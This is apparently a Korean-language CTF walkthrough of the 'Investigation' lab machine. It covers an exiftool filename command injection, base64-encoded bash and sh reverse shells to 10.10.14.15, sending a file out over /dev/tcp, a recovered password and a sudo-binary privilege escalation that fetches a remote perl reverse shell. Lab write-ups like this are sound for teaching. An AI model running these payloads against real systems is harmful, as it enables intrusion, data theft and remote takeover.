Investigation

총소요시간 : 8시간 5분

난이도: MEDIUM

 

현재 열려있는 포트를 알기위해 포트스캔을 진행한다.

 

$nmap -p- -T4 --min-rate=10000 10.10.11.197 -oN investigation.nmap

 

 

 

dns 를 해석할 수 없어, 오류가 발생한다. 따라서 밑줄친 도메인을 /etc/hosts 파일에 등록한다.

 

 

 

 

호스트파일에 등록하고 다시 브라우저로 접속하면 메인페이지가 뜬다. index 의 오른쪽 상단에는  파일업로드 링크가 존재하는데, 해당 링크에 들어오면 업로드할 수 있는 링크가 뜨며 jpg 만 업로드할수있다고 나와있다. 또한, 업로드할때는 upload.php 에 요청을 보낸다.

 

 

 

 

일단 정상적인 파일을 업로드시키켜 반응을 보자. 초반부터 삽질 좀했다. 분명 jpg 만 올릴수 있다면서 자꾸 빠꾸먹어서 png 로 업로드시켜보았는데 업로드가된다.. (구라핑 ㄹㅇ ㅋㅋ) exiftool 의 사진은 업로드한 png 의 메타정보이다.

$exiftool dummy.png

 

 

 

정상적으로 업로드를 시켜보면 원격지에서 분석한 리포트를 txt 로 뽑아준다. 우연찮게 전에 exiftool 로 업로드시킨 png 의 메타정보를 확인했었느데, 원격지에서 분석한 리포트도 exiftool 로 메타정보를 분석하여 보여주는 것이었다.

눈여겨볼곳은, 해당 exiftool 버전 정보이다. 

 

 

 

 

exiftool 3.37 취약점 관련검색을 해보면, 바로 exploit 설명이 나온다. exploit 내용을 정리하면 아래와같다.

1. exiftool3.38 이하 버전에게는 원격코드실행 RCE 취약점이 발생할 수 있다.

2. 취약점 내용은 분석하려는 파일의 이름이 파이프( | )  로 끝나면 명령어로 해석된다.

이 두가지가 전부이다. 생각해보니까 아까 내 로컬 exiftool 버전도 12.16 이었는데, 당연히 취약점이 존재했었다.

바로 증명해보자.

 

아래 명령은 whoami 의 결과를 RCE 라는 파일에 저장하는 명령어 와  파이프( | )를 더해  파일이름으로 생성하게 한것이다. 그리고 exiftool 로 실행해보면 whoami > RCE 가 실행되어 RCE 파일안에 현재 사용자 revi1337 이 리다이렉션되게 된다. 이게 전부이다. 

$touch 'whoami > RCE |'
$exiftool 'whoami > RCE |'

https://gist.github.com/ert-plus/1414276e4cb5d56dd431c2f0429e4429

Command Injection in Exiftool before 12.38

 

 

 

이제 이 취약점을 응용할 수 있다.

업로드할때 발생하는 요청을 burp 로 인터셉트해서 content-disposition 헤더의 filename attr 를 변조시켜주면된다.

이 변조시킨 filename  값이 원격지의 exiftool  에서 실행되어, 리버스쉘을 연결시킬수 있다.

근데, 업로드는 정상적으로 진행되었지만, 파일이름이 끊겨 이름이 다른것을 확인할 수 있다.

 

png 저장

filename attr 변조

파일이름이 끊겨서 이상하게 실행됨.

 

 

 

파일이름이 이상하게 된 이유는 개인적으로 특수문자필터링때문이라고생각했다.  url 인코딩시켜보내도 이상하게 나오는것은 동일했다. 따라서 생각해낸것은 아예 base64 로 인코딩시켜서 보낸다음 원격지 자체에서 base64 로 디코딩하여 실행시키는 방법을 선택했다. (아래 base64 인코딩된 문자열은 ls 를 로컬에 보내는 명령이다.)

$echo bHMgPiAvZGV2L3RjcC8xMC4xMC4xNC4xNS85OTk5 | base64 -d
ls > /dev/tcp/10.10.14.15/9999

정상적으로 원격지에서 ls 가 실행되어 로컬로 전송됨.

 

 

 

RCE 가 실행됨을 확인했으니 bash 리버스쉘을 실행시키는 명령을 base64 인코딩시켜서 원격지에 요청을 보냈다.

하지만, 쉘이 연결되었다가 바로 끊기는 불상사가 일어나고만다.. bash -c '명령' 로도 실행해보았지만 진행되지않았다.

$echo -n 'bash -i >& /dev/tcp/10.10.14.15/9999 0>1&' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNS85OTk5IDA+MSY=

쉘이 연결되었다가 끊김.

 

 

여기서도 삽질 드럽게많이했는데, bash말고 sh 로 리버스쉘을 진행시키면 정상적으로 쉘을 얻을 수있다.. ㅋㅋ;;;

$echo 'sh -i >& /dev/tcp/10.10.14.15/9999 0>&1' | base64 
c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTUvOTk5OSAwPiYxCg==

 

 

 

이제 인터렉티브쉘을 얻어준다음 ps 정보를 보면, php 부터 시작되어서 bash 까지오기까지 꼬리에 꼬리를 물고 쉘이 연결됨을 확인할 수 있다.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
$ stty raw -echo && fg
$ export TERM=xterm
$ stty rows 42 cols 190

 

 

 

쉘을 얻었으면 권한상승을 위해 다시 정보수집을 해야한다.

일단 홈디렉터리에는 smorton 사용자 한놈만 존재하는데,  이놈 이름으로 갖고있는 파일을 검색해보면 

마이크로소프트 Outlook 파일이 나온다. 이놈은 메일관련 파일임. ㅇㅇ

$ find / -user smorton 2>/dev/null
/home/smorton
/usr/local/investigation/Windows Event Logs for Analysis.msg
$ file '/usr/local/investigation/Windows Event Logs for Analysis.msg'
/usr/local/investigation/Windows Event Logs for Analysis.msg: CDFV2 Microsoft Outlook Message

 

 

 

이놈이 뭐하는놈인지 알아내기위해 로컬로 옮기는 과정이다.

www-data@investigation:/etc/cron.d$ cp '/usr/local/investigation/Windows Event Logs for Analysis.msg' /tmp/event_log.msg
www-data@investigation:/etc/cron.d$ cd /tmp && cat event_log.msg > /dev/tcp/10.10.14.15/9996

 

 

 

구글에서 검색좀 해보니까 outlook 메일파일을 cli 에서 읽을수있대서 msgconv 로 열어보았는데, 이상한 문자열이 나왔다. 

ssh 로 로그인도해봤는데 아니었고 그냥 얻은 정보는 SMTP 즉, 메일관련 파일이라는것만확실해졌다.

$msgconv event_log.msg
$strings event_log.msg | tail -5

 

 

 

다른 방법을 찾아본 결과, MS Outlook 파일을 텍스트로 변경해주는 커맨드라인방법을 발견했다. 아래와같이 다시 eml 텍스트 파일로 변경해준다.

$sudo apt-get install libemail-outlook-message-perl
$msgconvert event_log.msg --mbox event_log.eml
$file event_log.eml

 

 

 

eml 파일이 되게 이상해서 eml 파일을 시각화시켜주는 온라인 사이트를 발견했다. 개좋음 ㅋㅋ.

여튼 메일내용은 뭐 분석좀 해달라는 것이었고, Attachments 를 보면 첨부파일이 있는 것을 확인할 수 있다.

 

 

https://www.encryptomatic.com/viewer/

Free MSG EML Viewer | Free Online Email Viewer

 

 

 

첨부파일 두놈중에 zip 파일을 압축을 풀어보면 윈도우 비스타 이벤트로그 파일이나온다. 하지만 로컬은 리눅스라 이벤트로그파일을 열어볼방법이 없어 , 또 구글링을 진행했다.

$unzip evtx-logs.zip
$file security.evtx
security.evtx: MS Windows Vista Event Log, 238 chunks (no. 237 in use), next record no. 20013

 

 

 

바로 cli 도구를 다운받고, 인벤트로그파일을 xml 파일로 변환시키는 작업을진행시켰다.

$sudo apt-get install libevtx-utils -y
$evtxinfo security.evtx
$evtxexport security.evtx -f xml > security.evtx.xml

 

 

 

진짜 xml 파일 드럽게 긴데, 여기서 grep 으로 user 를 대소문자구분없이 검색해보면, 누가봐도 passwd 같은 문자열이 나오게된다.

$cat security.evtx.xml | grep -i user | sort -u

# 메모
Def@ultf0r3nz!csPa$$

 

 

 

방금 얻은 문자열로 smorton 계정에 로그인을할 수 있다. www-data 권한보다 높은 일반사용자의 권한으로 권한상승을했으니, root 로 권한상승하기위한 정보수집을 다시 진행해야한다. 

sudo -l 로 sudo 로 실행시킬수있는 명령 목록을 보면 /usr/bin/binary 파일을 root 권한으로 password 없이 실행시킬 수 있다고 나와있다.

www-data@investigation:/tmp$ su - smorton
smorton@investigation:~$ sudo -l

 

 

 

파일 정보를 보면, 리눅스 실행파일(ELF) 동적링크되어있는 파일을 볼 수 있다. 또한 not stripped 되어있는것을 보면 사용된 symbol 정보도 볼 수 있다.

또한 그냥 실행시켜보면 Exit 라는 문자가 바로 튀어나오는것을 볼 수있다.

$ file /usr/bin/binary
$ sudo /usr/bin/binary

 

 

 

setuid 도 설정되어있는것도 아니고 해서, 그냥 기드라로 열어보았다. 여기가 많이 중요한부분이다.

 

상단의 디컴파일된 코드로 요구사항을 유추 해보자면 아래와같이 나온다.

1. 매개변수가 3개 여야한다. (param_1 != 3)

2. guid 가 0 . 즉 root 여야 한다.

3. 두번째 매개변수가 lDnxUysaQn 문자열이어야 한다.

4. curl_뭐시기 들로,  무슨짓을 하고있다..  하지만, 네트워크통신, 웹프로그래밍, 관련일 것이다. --> 즉, Dropper 형태의 쉘

 

이렇게 생각한 근거는 몇가지 있다.

 

1번과 같이 생각한이유는 C언어를 조금이라도 해보면 알겠지만,  main() 함수의 매개변수로 argc, argv, envp 를 명시하곤한다. 이때문에 argc 즉, 인자의 개수가 3개 일거라고 생각했다.

2번과 같이 생각한이유는 uid 와 gid 가 0 인 사용자는 root 단 한명이다. (이건 고정임 ㅇㅇ )

3번과 같이 생각한 이유는 소스코드에 나와있다. 

4번이 좀 애매했는데, 내가 살아온결과 curl 관련 명렁이나 함수 혹은 메서드들은 네트워크통신, 웹프로그래밍 관련이었다. 또한 마지막에 rm -f ./lDnxUysaQn 을 삭제하는것을 보면 메타스플로잇에서 Meterpreter 를 떨궈줄떄 랜덤문자열 Dropper 형식으로 쉘을 떨궈주는 형태랑 똑같아서 그렇게 판단했다.

 

여튼 sudo 로 비밀번호 없이 실행시킬수있다니까 디컴파일된 소스코드에서 요구한대로 떄려맞추어보았다.

- /usr/bin/binary 가 argv[0]  에 해당

- http://주소 가 argv[1] 에 해당

- lDnxUysaQn 가 argv[2] 에 해당

즉, 모든 조건을 만족시켜주었음. (단 argv[1] 에 해당하는 것은 네트워크통신 관련이어서 그냥 파이썬 웹서버를 띄우고 시험해보았음.)

아래 사진을 보면 알겠지만, Exit 가 아닌  Running 이 출력되었고 파이썬 웹서버에 요청이 들어왔던 것을 확인할 수 있음.

 

 

 

 

이제 perl 로 리버스쉘 코드를 만든다음, 그 위치에서 파이썬웹서버를 띄운다음, 원격지에서 요청을 보내면 root 쉘을 얻을 수 있다.

 

perl 리버스쉘코드

$smorton@investigation:~$ sudo /usr/bin/binary http://10.10.14.15:9000/revshell.pl lDnxUysaQn

쉘이 세션을 놓고있지않아 응답이 안옴

원격지의 root 쉘이 연결됨.

 

 

 

클리어!! 오우 간만에 재밌었다. 진짜..스프링해야하는데,, ㅋㅋㅋ;;